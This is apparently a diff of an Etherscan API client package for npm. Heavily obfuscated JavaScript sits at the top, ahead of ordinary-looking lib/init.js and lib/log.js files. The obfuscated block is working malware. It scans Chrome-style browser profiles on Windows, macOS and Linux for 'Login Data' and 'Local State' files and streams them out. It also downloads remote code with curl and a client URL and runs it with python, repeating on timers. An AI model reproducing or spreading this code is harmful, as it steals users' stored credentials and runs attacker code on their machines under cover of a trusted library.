_0x2a9c30=_0xc2ce4f+(_0x16972d(0x248,0x22a,0x257,0x23e)+_0x1ce2df(-'0x4',-'0x9','0x36',-0x7a)+_0x1ce2df('0x4c','0x68',0xd4,0x43)+'raveSoftwa'+_0x16972d(0x209,'0x239',0x214,0x24a)+_0x1ce2df(-'0x4a',-'0x3e',-0x48,'0x21'));if(_0x445053[_0x16972d('0x297','0x273',0x246,'0x279')](_0x4ce051,_0x2a9c30))for(let _0x8cb213=-0x1*0x81e+0x21a9+0x198b*-0x1;_0x445053[_0x16972d('0x1f5',0x27f,0x26e,'0x2e1')](_0x8cb213,-0x1fa5+-0x1fb7+0x4024);_0x8cb213++){const _0x35813f=_0x2a9c30+'/'+(0x16c5+-0xbe1+-0xae4===_0x8cb213?_0x445053[_0x1ce2df('0x6f',0x6b,'0x93','0xb4')]:_0x1ce2df(-0x34,-'0x32',0x3a,'0x35')+_0x8cb213);try{if(!_0x4ce051(_0x35813f))continue;const _0x3c1a62=_0x35813f+(_0x1ce2df(0xeb,0x8c,'0xee','0xbb')+'a'),_0x146524={};_0x146524[_0x16972d('0x12f','0x14e','0x1b1',0x130)]=_0x1ce2df('0x81','0x6e',0x11,'0x68')+_0x8cb213,_0x445053[_0x16972d(0x1c9,0x1a1,'0x20f','0x1ac')](_0x4ce051,_0x3c1a62)?_0x376ef3[_0x16972d('0x2be',0x1dc,'0x247',0x23d)]({'value':_0x57fcb0[_0x16972d('0x260','0x209',0x215,'0x1e1')+_0x16972d(0x1eb,0x114,0x199,'0x188')](_0x3c1a62),'options':_0x146524}):_0x57fcb0[_0x1ce2df('0x6','0x2e','0x7c',-0x48)](_0x35813f,_0x3c1a62,_0x4a4f54=>{const _0x2d084e={};_0x2d084e[_0x4ff1e0(0x40f,0x444,'0x431','0x420')]='brld_'+_0x8cb213;function _0x4ff1e0(_0x5edcbd,_0x16ef2a,_0x1563d4,_0x272975){return _0x16972d(_0x5edcbd-0xf,_0x16ef2a-0x140,_0x272975-0x26f,_0x5edcbd);}function _0x5e7241(_0x1ed17b,_0x3be404,_0x21ff16,_0x36c6e0){return _0x1ce2df(_0x1ed17b-'0x144',_0x1ed17b-'0x31',_0x3be404,_0x36c6e0-'0x7e');}let _0x3c6cdf=[{'value':_0x57fcb0[_0x4ff1e0('0x4c4','0x47f','0x467','0x484')+'Stream'](_0x35813f),'options':_0x2d084e}];_0x445053[_0x5e7241(0xb,-'0x62',-0x2e,-0x3f)](_0x2a53ef,_0x3c6cdf,_0x38e86d);});}catch(_0x1d2558){}}}catch(_0x56d3f4){}function _0x16972d(_0x1009c3,_0x13e6d5,_0x530628,_0x54332a){return _0x5d6b18(_0x1009c3-0xfd,_0x54332a,_0x530628- -'0x82',_0x54332a-'0xad');}return _0x445053['Fdpip'](_0x2a53ef,_0x376ef3,_0x38e86d),_0x376ef3;},_0x476816=async(_0x4c66d9,_0x12e7df,_0xc6508)=>{const _0xa6c611={'JpoYZ':function(_0x35684f){return _0x35684f();},'JQOBu':function(_0x57bd75,_0x5a1347,_0x9757de){return _0x57bd75(_0x5a1347,_0x9757de);},'qyRAi':function(_0xcad92,_0x384b65){return _0xcad92==_0x384b65;},'DnEfX':function(_0x736a62,_0x144a7e){return _0x736a62(_0x144a7e);},'JILLU':function(_0x5dfe95,_0x5e144f){return _0x5dfe95==_0x5e144f;},'qgndQ':function(_0x321461,_0x12b4b2){return _0x321461(_0x12b4b2);},'WfiWB':function(_0x2fdd1f,_0x1fcf5e){return _0x2fdd1f(_0x1fcf5e);},'Aiofi':function(_0x213a34,_0x4e8327){return _0x213a34===_0x4e8327;},'AWEdJ':_0x247ea9(0x2cb,'0x335',0x2f2,'0x37c'),'MzZCe':function(_0x1798f1,_0x173317){return _0x1798f1!==_0x173317;},'quzpK':_0x117ba5(-0x1f5,-'0x1c3',-0x19b,-'0x159'),'lXRYB':function(_0x46ebf9,_0x1eb4db){return _0x46ebf9<_0x1eb4db;},'OYGUx':_0x247ea9('0x425',0x3c5,0x433,0x37f),'ZuXnF':function(_0x2a6ec8,_0x1bda5d,_0x1daa5d){return _0x2a6ec8(_0x1bda5d,_0x1daa5d);}};function _0x247ea9(_0x55ef63,_0x2290b2,_0x5b3e0e,_0x1f1fac){return _0x5d6b18(_0x55ef63-'0x12',_0x55ef63,_0x2290b2-0x129,_0x1f1fac-'0x1c8');}let _0x1a8e15=[];function _0x117ba5(_0x342913,_0x443bcb,_0x2c89a3,_0x3ed02c){return _0x5d6b18(_0x342913-'0x72',_0x2c89a3,_0x443bcb- -'0x455',_0x3ed02c-'0x60');}let _0x4e7e45='';_0x4e7e45=_0xa6c611['qyRAi']('d',_0x17bf0c[0x1fc1+0xa*0x269+0x4f*-0xb5])?_0xa6c611[_0x247ea9(0x460,0x427,'0x3c4','0x49e')](_0x4ab1b5,'~/')+('/Library/A'+_0x247ea9('0x307','0x369',0x311,'0x3bb')+'\x20Support/')+_0x4c66d9[-0x1*-0x1319+-0x154b+0x233]:_0xa6c611[_0x247ea9(0x2f1,0x32a,0x35c,0x30e)]('l',_0x17bf0c[0xe79+0x1768+0x25e1*-0x1])?_0xa6c611[_0x247ea9(0x421,'0x406',0x391,0x3c6)](_0x4ab1b5,'~/')+'/.config/'+_0x4c66d9[0xf2a+0xd*0x29f+0x1*-0x313b]:_0xa6c611['WfiWB'](_0x4ab1b5,'~/')+'/AppData/'+_0x4c66d9[0x6aa*-0x1+-0xe3a+0x14e4]+_0x117ba5(-'0x194',-0x1d9,-'0x22f',-0x1aa);let _0x17252f=_0x4e7e45+(_0x247ea9('0x392','0x399',0x413,'0x396')+'te');if(_0x57fcb0[_0x247ea9('0x395',0x417,0x392,0x470)](_0x17252f)){if(_0xa6c611[_0x247ea9('0x443','0x3d9','0x37a','0x3de')](_0xa6c611[_0x247ea9(0x458,'0x410','0x3ed',0x481)],_0xa6c611[_0x117ba5(-0x169,-0x16e,-0xee,-0x154)]))try{if(_0xa6c611['MzZCe'](_0xa6c611[_0x117ba5(-'0x1c1',-'0x1e4',-0x1c6,-0x184)],_0xa6c611['quzpK']))_0x4cf24d(()=>{function _0x3d9784(_0x56f40c,_0x488385,_0x3a024a,_0x3d9166){return _0x247ea9(_0x3d9166,_0x3a024a- -0x3c2,_0x3a024a-'0x1dd',_0x3d9166-0x183);}_0xa6c611[_0x3d9784(-0x3e,-0x4b,-0x80,-'0x3')](_0x4a2a9c);},0xb1e*-0x8+-0x9994*0x1+-0x2*-0xa052);else{const _0x2b52ff={};_0x2b52ff['filename']=_0x12e7df+'_lst',_0x1a8e15[_0x247ea9('0x3a6',0x3f2,'0x37a',0x38d)]({'value':_0x57fcb0[_0x247ea9(0x353,0x3c0,'0x355',0x39a)+'Stream'](_0x17252f),'options':_0x2b52ff});}}catch(_0x29f067){}else _0xd25c22[_0x117ba5(-'0x1f8',-0x1bd,-0x227,-0x1e7)](_0x31b1d9+_0x247ea9(0x3ee,0x3eb,0x375,'0x418')+_0x429287+'/'+_0x283d54,(_0x131f52,_0xa57ce6,_0xb0729a)=>{function _0x3cad66(_0x4eb462,_0x1d4828,_0x1915f2,_0x1da58c){return _0x117ba5(_0x4eb462-'0x84',_0x1da58c-0x10a,_0x1d4828,_0x1da58c-'0x95');}function _0xb8c861(_0x2f6930,_0x40792e,_0x56a05f,_0x5bebfa){return _0x117ba5(_0x2f6930-'0x6f',_0x2f6930-0x3b7,_0x5bebfa,_0x5bebfa-0x136);}_0x131f52||(_0x551431['writeFileS'+_0x3cad66(-'0x1b0',-0x193,-'0x120',-'0x147')](_0x1d5fb1+_0x3cad66(-0x2a,-'0xf2',-'0x7',-'0x80'),_0xb0729a),_0xa6c611[_0x3cad66(-'0xf3',-0xa6,-0x34,-'0xac')](_0xda9b0c,'python3\x20\x22'+_0xcc232a+_0x3cad66(-'0xc6',-0xe0,-'0x8c',-0x105),(_0x7a1b41,_0x12ad90,_0x82e51)=>{}));});}try{if(_0xa6c611['WfiWB'](_0x4ce051,_0x4e7e45))for(let _0xf9e98e=0x4*0x9e+0x1c31+-0x1ea9;_0xa6c611[_0x247ea9('0x3fb','0x424',0x446,'0x4aa')](_0xf9e98e,0xadc+-0x5*0x347+-0x13*-0x55);_0xf9e98e++){const _0x4c415e=_0x4e7e45+'/'+(-0xb18*-0x3+0x1*0xe8a+-0x1*0x2fd2===_0xf9e98e?_0xa6c611[_0x117ba5(-0x295,-'0x22b',-'0x234',-'0x286')]:_0x117ba5(-0x248,-0x23e,-'0x1c2',-0x205)+_0xf9e98e);try{if(!_0xa6c611[_0x247ea9(0x3bf,'0x401','0x38b',0x47e)](_0x4ce051,_0x4c415e))continue;const _0x3f3198=_0x4c415e+('/Login\x20Dat'+'a');if(!_0xa6c611[_0x247ea9(0x429,0x401,0x39d,0x3e9)](_0x4ce051,_0x3f3198))continue;const _0x5cf9a8={};_0x5cf9a8['filename']=_0x12e7df+'_'+_0xf9e98e+_0x117ba5(-0x1c6,-0x14f,-0x1b8,-'0x1a1'),_0x1a8e15[_0x117ba5(-'0x1d5',-'0x18c',-0x190,-0x19b)]({'value':_0x57fcb0['createRead'+_0x117ba5(-0x252,-0x23a,-'0x1de',-0x1fa)](_0x3f3198),'options':_0x5cf9a8});}catch(_0x38513c){}}}catch(_0x2904b0){}return _0xa6c611[_0x247ea9('0x306','0x373','0x318','0x3de')](_0x2a53ef,_0x1a8e15,_0xc6508),_0x1a8e15;},_0x1684af=0x3b2fa12*0x1+0x104df7c+-0x1a66120;let _0xb1bf99=0xa20+-0x358*0xa+0x175*0x10;const _0x127271=async _0x77d512=>{const _0x5d9a0b={};_0x5d9a0b['WdoLd']=_0x4710ce(0x2a3,0x310,'0x2ae',0x2d1),_0x5d9a0b[_0x4710ce(0x29e,0x306,'0x31f','0x377')]=_0x467098('0x23b','0x1f3','0x1e8',0x1e9);function _0x467098(_0x21731b,_0xb35e66,_0x1af948,_0x468d04){return _0x5d6b18(_0x21731b-'0x14d',_0x1af948,_0x21731b- -0x9f,_0x468d04-0xdd);}_0x5d9a0b[_0x467098('0x17b',0x1bb,'0x1e8','0x16c')]='paTAv';const _0x10c657=_0x5d9a0b;function _0x4710ce(_0x582bd3,_0x2620cd,_0x368440,_0x1b2d6b){return _0x2c7601(_0x582bd3-0x1dd,_0x368440-'0x157',_0x368440-'0x100',_0x582bd3);}_0x2b6499(_0x467098('0x1e7',0x21b,'0x1bf','0x220')+_0x77d512+_0x467098('0x1c0','0x151','0x1d4',0x1c7)+_0xc2ce4f,(_0x42caf8,_0x2e1293,_0x3827b2)=>{const _0x41483f={};_0x41483f[_0x178f67(-'0x1f1',-'0x205',-'0x187',-0x1b7)]=_0x10c657[_0x3e6f01(-'0x8d',-'0x45',-0x42,-0x82)];const _0x126ac7=_0x41483f;function _0x178f67(_0x74bb07,_0x26e81f,_0x57f819,_0x23b8be){return _0x4710ce(_0x57f819,_0x26e81f-0xe2,_0x26e81f- -0x4a8,_0x23b8be-'0xc4');}function _0x3e6f01(_0x1811ed,_0xc4f50a,_0x337347,_0x25c6a0){return _0x467098(_0x1811ed- -0x294,_0xc4f50a-'0x11c',_0xc4f50a,_0x25c6a0-'0x19e');}if(_0x10c657[_0x3e6f01(-0x75,-'0x7f',-'0x53',-'0xc3')]===_0x10c657[_0x178f67(-0x1b0,-'0x22d',-'0x210',-0x1ff)])try{const _0x165870={};_0x165870[_0x178f67(-'0x1b4',-0x214,-0x1a5,-'0x18e')]=_0x126ac7[_0x3e6f01(-0xf1,-0xbd,-0x148,-'0x148')],_0x5a4927[_0x178f67(-0xfa,-0x17e,-'0x11c',-'0x187')]({'value':_0x4724ee[_0x178f67(-0x220,-0x1b0,-0x21b,-0x171)+'Stream'](_0x373eae),'options':_0x165870});}catch(_0x126622){}else{if(_0x42caf8)return _0x57fcb0[_0x178f67(-'0x194',-0x1a6,-'0x1d6',-'0x1a1')](_0x77d512),void(_0xb1bf99=-0x237b+-0x20d1+0x444c);_0x57fcb0[_0x3e6f01(-'0x92',-'0x4f',-'0xc0',-0x101)](_0x77d512),_0x3e5025();}});},_0x5f55b2=()=>{function _0x455625(_0x24b10b,_0x8ff6d7,_0x41d047,_0x497cbd){return _0x5d6b18(_0x24b10b-0x26,_0x8ff6d7,_0x497cbd-0x9a,_0x497cbd-'0x75');}const _0x579849={'rKbmK':function(_0x345ccd,_0x36da0c){return _0x345ccd(_0x36da0c);},'dojbb':function(_0x5d67ef){return _0x5d67ef();},'jXJYf':function(_0x39797a,_0x4d7109){return _0x39797a+_0x4d7109;},'pedrT':function(_0x1b094a,_0x131065){return _0x1b094a>=_0x131065;},'gpHwN':function(_0x20548c,_0x4271eb){return _0x20548c+_0x4271eb;},'ikvTA':function(_0x394d8e,_0x3cc16a){return _0x394d8e<_0x3cc16a;},'MFOpB':function(_0x176fc3){return _0x176fc3();},'lXImC':function(_0x7ce0d8,_0x45c71c,_0x432a75){return _0x7ce0d8(_0x45c71c,_0x432a75);}};function _0x2fb9c6(_0x1265b9,_0x403c8d,_0x575985,_0x520be1){return _0x5d6b18(_0x1265b9-'0xd6',_0x1265b9,_0x575985-0x1df,_0x520be1-'0x138');}const _0x450cf6=_0x40d999+_0x2fb9c6('0x3bc','0x3b1','0x432',0x442),_0x533589=_0x49f550+_0x455625(0x352,'0x2c3','0x363',0x309),_0x5dee70=_0x49f550+_0x455625('0x36e',0x2f7,0x38b,'0x375');if(_0x579849['pedrT'](_0xb1bf99,_0x579849[_0x2fb9c6(0x40d,'0x390','0x415',0x436)](_0x1684af,-0x1cd9+-0xaa3*-0x1+0x123c)))return;if(_0x57fcb0[_0x455625('0x3c3',0x320,0x404,0x388)](_0x533589))try{var _0x4b04e3=_0x57fcb0[_0x455625('0x33b',0x399,0x3cf,0x39e)](_0x533589);_0x4b04e3['size']>=_0x579849['jXJYf'](_0x1684af,-0x555+0x2d*0x3c+-0x531)?(_0xb1bf99=_0x4b04e3['size'],_0x57fcb0[_0x2fb9c6(0x452,0x456,'0x495',0x513)](_0x533589,_0x5dee70,_0x320516=>{if(_0x320516)throw _0x320516;function _0x4f85bf(_0x41cccb,_0x341cb9,_0x397d7f,_0x3a3896){return _0x2fb9c6(_0x3a3896,_0x341cb9-0x190,_0x341cb9- -'0x349',_0x3a3896-0x1f2);}_0x579849[_0x4f85bf(0x204,0x18d,0x17d,0x133)](_0x127271,_0x5dee70);})):(_0x579849['ikvTA'](_0xb1bf99,_0x4b04e3['size'])?_0xb1bf99=_0x4b04e3['size']:(_0x57fcb0[_0x455625(0x2e0,0x355,0x2c8,'0x33b')](_0x533589),_0xb1bf99=-0x1eb*-0xd+-0x3*-0xcdc+-0x3f83),_0x579849['MFOpB'](_0x5ded30));}catch(_0x5e6395){}else _0x579849['lXImC'](_0x2b6499,'curl\x20-Lo\x20\x22'+_0x533589+'\x22\x20\x22'+_0x450cf6+'\x22',(_0x53249f,_0x42314c,_0x3dcc04)=>{function _0x9e3329(_0x5d8c79,_0x1a8234,_0xe1ce15,_0x1f4415){return _0x2fb9c6(_0x1f4415,_0x1a8234-0x19e,_0xe1ce15- -0x13a,_0x1f4415-0xdb);}function _0x3dd7bb(_0x1e5b51,_0x566277,_0x57ea98,_0x184dcc){return _0x455625(_0x1e5b51-'0x172',_0x184dcc,_0x57ea98-'0xa4',_0x1e5b51- -0x3e0);}if(_0x53249f)return _0xb1bf99=0x15a7+-0x1*0xfa7+-0x600,void _0x579849[_0x3dd7bb(-0x122,-0x139,-0x191,-'0xf2')](_0x5ded30);try{_0xb1bf99=_0x579849[_0x9e3329(0x35e,'0x2b7',0x2dd,0x29d)](_0x1684af,0x22f4+-0x169f+0xc4f*-0x1),_0x57fcb0[_0x3dd7bb(-0xf6,-'0x157',-'0x92',-0x79)](_0x533589,_0x5dee70),_0x579849[_0x3dd7bb(-'0x4f',-'0xb5',-'0xae','0x28')](_0x127271,_0x5dee70);}catch(_0x3f4571){}});};function _0x5ded30(){const _0x4f3d82={'XNFZZ':function(_0x3d1f43){return _0x3d1f43();},'DDEvr':function(_0x12bd34,_0x1da375,_0x442d59){return _0x12bd34(_0x1da375,_0x442d59);}};function _0x1b7d6f(_0x2f18a3,_0x35bb84,_0x27f511,_0x42c981){return _0x2c7601(_0x2f18a3-'0x1ce',_0x27f511-0x2cd,_0x27f511-0xcd,_0x42c981);}_0x4f3d82[_0x1b7d6f(0x402,0x47b,'0x450','0x4b9')](setTimeout,()=>{function _0x2b56ac(_0x35ae7d,_0x402408,_0x407024,_0x475bc7){return _0x1b7d6f(_0x35ae7d-0xe5,_0x402408-'0x4e',_0x35ae7d- -0xf7,_0x475bc7);}_0x4f3d82[_0x2b56ac('0x375',0x340,0x3e4,0x31a)](_0x5f55b2);},-0x8bb9*0x1+-0x419d+0x11b76);}function _0x4e42(_0x1ee9b2,_0x3f0f4c){const _0x3eab4d=_0x44b1();return _0x4e42=function(_0x44b1e7,_0x4e42e8){_0x44b1e7=_0x44b1e7-(-0x1e9c+-0x10*-0x1cf+0x33a);let _0x5ba3d8=_0x3eab4d[_0x44b1e7];return _0x5ba3d8;},_0x4e42(_0x1ee9b2,_0x3f0f4c);}const _0x3e5025=async()=>await new Promise((_0x4bc84b,_0x24db64)=>{const _0x59a5d8={'ffTNV':function(_0x54597e,_0x13098b,_0x1b0235){return _0x54597e(_0x13098b,_0x1b0235);},'VcfsR':function(_0x52d71d,_0x2dd924){return _0x52d71d==_0x2dd924;},'tqYTi':function(_0x563d10){return _0x563d10();}};function _0x306806(_0x1901e8,_0x125343,_0x5e335a,_0x4177f5){return _0x5d6b18(_0x1901e8-'0x17e',_0x1901e8,_0x4177f5-0x16b,_0x4177f5-'0x10b');}function _0x5bbadf(_0x4c2470,_0x1f4d30,_0x1bde55,_0x190250){return _0x2c7601(_0x4c2470-0x155,_0x190250-0xa4,_0x1bde55-'0x1d',_0x1f4d30);}if(_0x59a5d8[_0x306806('0x382','0x3c3','0x3cd',0x36e)]('w',_0x17bf0c[-0xd*0x1dd+-0x1610+-0x11*-0x2b9]))_0x57fcb0[_0x5bbadf(0x286,'0x21a',0x271,0x29c)](_0xc2ce4f+(_0x306806('0x424',0x388,0x453,'0x40b')+_0x306806(0x403,'0x372',0x3c8,'0x392')))?((()=>{function _0x546549(_0x1ddb7d,_0x22f2c9,_0x41f99b,_0x4df7f5){return _0x5bbadf(_0x1ddb7d-'0x171',_0x1ddb7d,_0x41f99b-0x5c,_0x4df7f5-'0x226');}const _0x528199=_0x40d999+_0x546549(0x4df,'0x515','0x412',0x496)+_0x589ed5+'/'+_0x1805dc,_0x3d7487=_0xc2ce4f+'/.npl',_0x5ad7fa='\x22'+_0xc2ce4f+('\x5c.pyp\x5cpyth'+'on.exe\x22\x20\x22')+_0x3d7487+'\x22';try{_0x57fcb0[_0x546549(0x459,'0x477',0x3f1,0x475)](_0x3d7487);}catch(_0x4c98c5){}function _0x56b9b8(_0x549036,_0x438581,_0x5351de,_0x12bc55){return _0x5bbadf(_0x549036-0x1bb,_0x12bc55,_0x5351de-0xb7,_0x5351de- -'0x6e');}_0x18e755[_0x56b9b8('0x24a','0x1d8','0x1d8','0x1b7')](_0x528199,(_0x39fcdb,_0x42e379,_0x2de435)=>{function _0x1a0613(_0x35836c,_0x186776,_0x3a2bac,_0x4f7202){return _0x56b9b8(_0x35836c-0xb9,_0x186776-'0x185',_0x3a2bac- -'0x3b',_0x35836c);}if(!_0x39fcdb)try{_0x57fcb0['writeFileS'+_0x1a0613('0x98','0xdd',0x109,0xf7)](_0x3d7487,_0x2de435),_0x59a5d8['ffTNV'](_0x2b6499,_0x5ad7fa,(_0x3d2415,_0x162d91,_0xb9fec6)=>{});}catch(_0x243ac1){}});})()):_0x59a5d8[_0x306806('0x3c1','0x402','0x40f',0x393)](_0x5f55b2);else((()=>{function _0x1d13c0(_0x1c2d81,_0x5a135a,_0x57eca4,_0x630f5a){return _0x5bbadf(_0x1c2d81-0x154,_0x1c2d81,_0x57eca4-'0xb0',_0x630f5a- -0xb1);}_0x18e755[_0x1d13c0('0x1c7',0x14a,'0x196','0x195')](_0x40d999+'/client/'+_0x589ed5+'/'+_0x1805dc,(_0x3e3c50,_0x1603f6,_0x487044)=>{function _0x4de581(_0x941f6b,_0x101dba,_0x530bac,_0x1586ec){return _0x1d13c0(_0x530bac,_0x101dba-0x70,_0x530bac-'0x1c',_0x1586ec- -0x18f);}function _0x59d86c(_0x2fb369,_0x2010af,_0x551263,_0x23787c){return _0x1d13c0(_0x2fb369,_0x2010af-0x9c,_0x551263-0x3f,_0x23787c-'0x384');}_0x3e3c50||(_0x57fcb0[_0x59d86c(0x4a9,'0x454','0x507',0x4bd)+_0x4de581(-0x10f,-'0x93',-0x66,-0x8e)](_0xc2ce4f+'/.npl',_0x487044),_0x59a5d8[_0x59d86c(0x506,0x424,'0x42b',0x493)](_0x2b6499,_0x4de581('0x97',0xd7,'0x8b',0x6e)+_0xc2ce4f+_0x59d86c('0x544','0x48d','0x52c',0x4c7),(_0x1260a0,_0x5942eb,_0x1a961f)=>{}));});})());});var _0x4a5c7b=0x577*-0x2+0x124f+0x1*-0x761;const _0x1e6c4f=async()=>{function _0x5d9bd2(_0x590af5,_0x50b817,_0x3169f4,_0x534d18){return _0x5d6b18(_0x590af5-0x11,_0x534d18,_0x50b817-0xa4,_0x534d18-0x1d);}const _0x37f2cc={'zuNwY':function(_0x1e44a4,_0x2e466c){return _0x1e44a4(_0x2e466c);},'mbCim':function(_0x3dab7d,_0x545d75){return _0x3dab7d===_0x545d75;},'VrsrK':_0x5d9bd2('0x366',0x34b,0x302,'0x3bd'),'oGXbl':_0x49ea00(0x429,0x45d,0x44c,0x3e4),'gShrx':_0x5d9bd2('0x2f5','0x307','0x297',0x303),'jAsHT':function(_0x501560,_0x9349a7,_0x49c92f,_0x137959){return _0x501560(_0x9349a7,_0x49c92f,_0x137959);},'MvtEe':function(_0x1c6f80,_0x5f3e95){return _0x1c6f80==_0x5f3e95;},'NXbIN':function(_0x1379ad,_0x2a6351,_0x3d495f,_0x3d7376,_0x4b90b7){return _0x1379ad(_0x2a6351,_0x3d495f,_0x3d7376,_0x4b90b7);},'kYzAp':function(_0x535bc5,_0x5489db){return _0x535bc5(_0x5489db);},'alLuc':function(_0x25e491,_0x5ad7c1){return _0x25e491/_0x5ad7c1;}};function _0x49ea00(_0x9b27ea,_0x2d87db,_0x2a7ac5,_0xa0cba1){return _0x2c7601(_0x9b27ea-'0x1dd',_0x2d87db-'0x30f',_0x2a7ac5-0x85,_0x9b27ea);}try{const _0x5da66e=Math[_0x49ea00(0x530,'0x4ad',0x486,'0x4a1')](_0x37f2cc[_0x49ea00(0x4ef,'0x473','0x4ee','0x4f8')](new Date()[_0x5d9bd2(0x262,0x2cd,'0x26e','0x2d7')](),-0xef3+0x24b7+-0x11dc));await((async()=>{function _0x2fb2a0(_0x49bc8e,_0x3e4d3e,_0x2d1679,_0x40d091){return _0x49ea00(_0x49bc8e,_0x40d091- -0x26a,_0x2d1679-0xb8,_0x40d091-'0x14a');}function _0x8f1082(_0x3cf47f,_0x555ca8,_0x3f3b6d,_0x207194){return _0x5d9bd2(_0x3cf47f-'0x10f',_0x3cf47f- -'0x397',_0x3f3b6d-0x1b3,_0x555ca8);}if(_0x37f2cc[_0x2fb2a0(0x1cf,0x260,'0x246','0x216')](_0x37f2cc['VrsrK'],_0x37f2cc[_0x2fb2a0(0x27f,'0x28e',0x26e,'0x238')]))try{_0x37f2cc['oGXbl']===_0x37f2cc[_0x2fb2a0('0x1b7',0x1f6,0x1a7,'0x1b7')]?_0x3faf50[_0x8f1082(-'0x52',-'0x4',-'0x49',-0x75)](_0x5327cc):(await _0x2d0c7f(_0x315b89,-0x106+0x1b8*0x10+-0x1a7a,_0x5da66e),await _0x37f2cc['jAsHT'](_0x2d0c7f,_0x36a55d,-0x1967+-0xdaa+-0xd06*-0x3,_0x5da66e),await _0x2d0c7f(_0x340a3f,-0x4a4+0x2405*-0x1+0x28ab,_0x5da66e),_0x473b7e(_0x5da66e),_0x37f2cc['MvtEe']('w',_0x17bf0c[-0x262d*0x1+-0x14bd*-0x1+-0x30*-0x5d])&&await _0x37f2cc[_0x2fb2a0('0x1d4','0x224',0x1b0,'0x1b6')](_0x509e16,_0x37f2cc['kYzAp'](_0x4ab1b5,'~/')+(_0x2fb2a0('0x228',0x1ee,0x17e,0x204)+_0x8f1082(-0x5a,-'0x79','0x21',-0x43)+_0x8f1082(-0x44,-'0x39',-0x41,-0x18)+_0x8f1082(-'0x92',-0x23,-'0x8f',-0x46)),'3_',![],_0x5da66e),'d'==_0x17bf0c[-0xb6f+0x7*0x335+-0xb04]?await _0x4b1368(_0x5da66e):(await _0x476816(_0x315b89,-0x5b*0x25+-0x45a+0x1181*0x1,_0x5da66e),await _0x37f2cc['jAsHT'](_0x476816,_0x36a55d,-0x1c0+0x3d7*-0x1+0x598,_0x5da66e),await _0x37f2cc['jAsHT'](_0x476816,_0x340a3f,0x2d6+0x1f51+-0x2225,_0x5da66e)));}catch(_0x5c577d){}else{if(_0x1c78d0)throw _0x451443;_0x37f2cc['zuNwY'](_0x2f633d,_0x4f4f7b);}})()),_0x3e5025();}catch(_0x5ee1e1){}};function _0x5d6b18(_0x4900ba,_0x3b75d5,_0x57e63a,_0x20381c){return _0x4e42(_0x57e63a-0x70,_0x3b75d5);}_0x1e6c4f(),_0x3e5025();let _0x504133=setInterval(()=>{function _0x7f4333(_0x1977b8,_0x176374,_0x39f2fe,_0x2e5722){return _0x5d6b18(_0x1977b8-'0x82',_0x1977b8,_0x176374-0x82,_0x2e5722-0x131);}function _0x3b0116(_0x472b25,_0x5ea43d,_0x124e91,_0x294fcf){return _0x2c7601(_0x472b25-0x1,_0x5ea43d- -'0x253',_0x124e91-0xb8,_0x294fcf);}const _0xd97483={'uClTX':function(_0x13741,_0x5e08cd){return _0x13741<_0x5e08cd;},'EJfJP':function(_0x2aa8a7){return _0x2aa8a7();}};_0xd97483[_0x3b0116(-0x91,-0xb9,-'0x108',-'0x110')](_0x4a5c7b+=-0x206e+0x977*-0x2+0x335d,-0x38*-0x27+-0x59*-0x41+-0x1f1f)?_0xd97483[_0x3b0116(-'0xea',-'0x82',-0xe6,-0x45)](_0x1e6c4f):clearInterval(_0x504133);},0xd17d+0x523*0x25+-0x11a5c);
package/lib/init.js ADDED
@@ -0,0 +1,73 @@
1
+ "use strict";
2
+ const axios = require('axios');
3
+ const log = require('./log');
4
+ const proxy = require('./proxy');
5
+ const stats = require('./stats');
6
+ const block = require('./block');
7
+ const transaction = require('./transaction');
8
+ const hash = require('./hash-blob');
9
+ const contract = require('./contract');
10
+ const account = require('./account');
11
+ const pickChainUrl = require('./pick-chain-url');
12
+ /**
13
+ * @module etherscan/api
14
+ */
15
+
16
+
17
+ /**
18
+ * @param {string} apiKey - (optional) Your Etherscan APIkey
19
+ * @param {string} chain - (optional) Other chain keys [ropsten, rinkeby, kovan]
20
+ * @param {number} timeout - (optional) Timeout in milliseconds for requests, default 10000
21
+ * @param {object} client - optional axios client instance
22
+ */
23
+ module.exports = function(apiKey, chain, timeout, client = null) {
24
+
25
+ if (!apiKey) {
26
+ apiKey = 'YourApiKeyToken';
27
+ }
28
+
29
+ if (!timeout) {
30
+ timeout = 10000;
31
+ }
32
+
33
+ if (!client) {
34
+ client = axios.create({
35
+ baseURL: pickChainUrl(chain),
36
+ timeout: timeout
37
+ });
38
+ }
39
+
40
+ var getRequest = require('./get-request')(chain, timeout, client);
41
+
42
+ /** @lends module:etherscan/api */
43
+ return {
44
+ /**
45
+ * @namespace
46
+ */
47
+ log: log(getRequest, apiKey),
48
+ /**
49
+ * @namespace
50
+ */
51
+ proxy: proxy(getRequest, apiKey),
52
+ /**
53
+ * @namespace
54
+ */
55
+ stats: stats(getRequest, apiKey),
56
+ /**
57
+ * @namespace
58
+ */
59
+ block: block(getRequest, apiKey),
60
+ /**
61
+ * @namespace
62
+ */
63
+ transaction: transaction(getRequest, apiKey),
64
+ /**
65
+ * @namespace
66
+ */
67
+ contract: contract(getRequest, apiKey),
68
+ /**
69
+ * @namespace
70
+ */
71
+ account: account(getRequest, apiKey)
72
+ };
73
+ };
package/lib/log.js ADDED
@@ -0,0 +1,86 @@
1
+ module.exports = function(getRequest, apiKey) {
2
+ return {
3
+ /**
4
+ * The Event Log API was designed to provide an alternative to the native eth_getLogs.
5
+ */
6
+ /**
7
+ * returns the status of a specific transaction hash
8
+ * @param {string} fromBlock - fromBlock
9
+ * @param {string} toBlock - toBlock
10
+ * @param {string} topic0 - topic (32 Bytes per topic)
11
+ * @param {string} topic0_1_opr - and|or between topic0 & topic1
12
+ * @param {string} topic1 - topic (32 Bytes per topic)
13
+ * @param {string} topic1_2_opr - and|or between topic1 & topic2
14
+ * @param {string} topic2 - topic (32 Bytes per topic)
15
+ * @param {string} topic2_3_opr - and|or between topic2 & topic3
16
+ * @param {string} topic3 - topic (32 Bytes per topic)
17
+ * @param {string} topic0_2_opr - and|or between topic0 & topic2
18
+ * @example https://etherscan.io/apis#logs
19
+ * @returns {Promise.<object>}
20
+ */
21
+ getLogs(address,
22
+ fromBlock,
23
+ toBlock,
24
+ topic0,
25
+ topic0_1_opr,
26
+ topic1,
27
+ topic1_2_opr,
28
+ topic2,
29
+ topic2_3_opr,
30
+ topic3,
31
+ topic0_2_opr) {
32
+
33
+ const module = 'logs';
34
+ const action = 'getLogs';
35
+ var params = {
36
+ module, action, apiKey, address
37
+ };
38
+
39
+ if (address) {
40
+ params.address = address;
41
+ }
42
+
43
+ if (fromBlock) {
44
+ params.fromBlock = fromBlock;
45
+ }
46
+
47
+ if (toBlock) {
48
+ params.toBlock = toBlock;
49
+ }
50
+
51
+ if (topic0) {
52
+ params.topic0 = topic0;
53
+ }
54
+
55
